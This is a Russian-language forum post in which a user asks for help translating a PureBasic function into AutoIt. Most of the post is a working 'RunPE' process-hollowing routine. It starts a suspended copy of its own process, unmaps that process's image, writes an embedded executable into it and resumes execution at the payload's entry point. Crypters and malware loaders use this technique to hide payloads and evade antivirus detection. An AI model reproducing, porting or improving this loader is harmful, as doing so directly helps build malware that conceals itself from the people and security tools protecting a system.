Что нового

Перевод функции из PB в AutoIt

Ganibal95

GreenBytes
Сообщения
877
Репутация
240
Версия AutoIT: 3.3.6.1
Описание:
Нужно перевести Код из ПБ(PureBasic) в Autoit Функцию. :smile:
Примечания:
Вот сам код от PB
Код:
Structure IMAGE_SECTION_HEADER 
  SecName.b[8] 
  StructureUnion 
    PhysicalAddr.l 
    VirtualSize.l 
  EndStructureUnion 
  VirtualAddress.l 
  SizeOfRawData.l 
  PointerToRawData.l 
  PointerToRelocations.l 
  PointerToLinenumbers.l 
  NumberOfRelocations.w 
  NumberOfLinenumbers.w 
  Characteristics.l 
EndStructure 

Structure IMAGE_SECTION_HEADERS 
  ish.IMAGE_SECTION_HEADER[95] 
EndStructure 

Procedure RunPE(lBuff, parameters.s) 
  Protected *idh.IMAGE_DOS_HEADER  = lBuff 
  Protected *ish.IMAGE_SECTION_HEADERS 
  Protected pi.PROCESS_INFORMATION 
  Protected *inh.IMAGE_NT_HEADERS 
  Protected si.STARTUPINFO 
  Protected lpBaseAddres.l 
  Protected Ctx.CONTEXT 
  Protected Addr.l, RET.l, i.l 

  CreateProcess_(#NUL, ProgramFilename() + " " + parameters, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi) 
  Ctx\ContextFlags = #CONTEXT_INTEGER 
  If GetThreadContext_(pi\hThread, Ctx) = 0      : Goto EndThread : EndIf 

  ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL) 
  If ZwUnmapViewOfSection_(Pi\hProcess, Addr)    : Goto EndThread : EndIf 
  If lBuff = 0                                   : Goto EndThread : EndIf 
  *inh = lBuff + *idh\e_lfanew 

  lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE) 
  WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret) 
  *ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader 

  For i = 0 To *inh\FileHeader\NumberOfSections - 1 
    WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret) 
  Next 

  WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL) 
  Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint 
  SetThreadContext_(pi\hThread, Ctx) 
  ResumeThread_(pi\hThread) 
  ProcedureReturn 

  EndThread: 
  ;TerminateProcess_(pi\hProcess, #NUL) 
  CloseHandle_(pi\hThread) 
  CloseHandle_(pi\hProcess) 
EndProcedure 

RunPE(?file1, "") 

DataSection 
  file1: 
  IncludeBinary "Test.exe" 
EndDataSection
Поставлю + за помощь! :smile:
 
Верх